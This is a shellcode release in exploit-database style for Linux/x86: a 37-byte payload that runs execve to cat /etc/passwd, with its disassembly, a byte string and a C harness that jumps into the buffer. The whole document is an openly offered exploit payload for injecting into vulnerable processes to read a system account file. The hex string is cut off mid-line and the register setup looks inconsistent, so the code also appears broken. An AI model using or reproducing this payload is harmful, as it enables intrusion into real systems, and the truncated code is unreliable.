Linux/x86 Execve /bin/cat /etc/passwd Shellcode

37 bytes small Linux/x86 execve /bin/cat /etc/passwd shellcode.


MD5 | 4d27f629e415202443486cfadf82494b

/*
# Linux/x86 - execve /bin/cat /etc//passwd shellcode (37 bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 37
#Greetz - Manish Kishan Tanwar,Kishan Sharma,Vardan,Himanshu,Ravi and Spirited w0lf

Disassembly of section .text:

08048060 <_start>:
8048060: 29 c9 sub ecx,ecx
8048062: 51 push ecx
8048063: 68 2f 63 61 74 push 0x7461632f
8048068: 68 2f 62 69 6e push 0x6e69622f
804806d: 89 e3 mov ebx,esp
804806f: 51 push ecx
8048070: 68 73 73 77 64 push 0x64777373
8048075: 68 2f 2f 70 61 push 0x61702f2f
804807a: 68 2f 65 74 63 push 0x6374652f
804807f: 89 e1 mov ecx,esp
8048081: 6a 0b push 0xb
8048083: 58 pop eax
8048084: 6a 00 push 0x0
8048086: 51 push ecx
8048087: 53 push ebx
8048088: 89 e1 mov ecx,esp
804808a: cd 80 int 0x80

===============POC by Anurag Srivastava=========================
*/

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x29\xc9\x51\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x51\x68\x73\x73\x77\x64\x68\x$
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}


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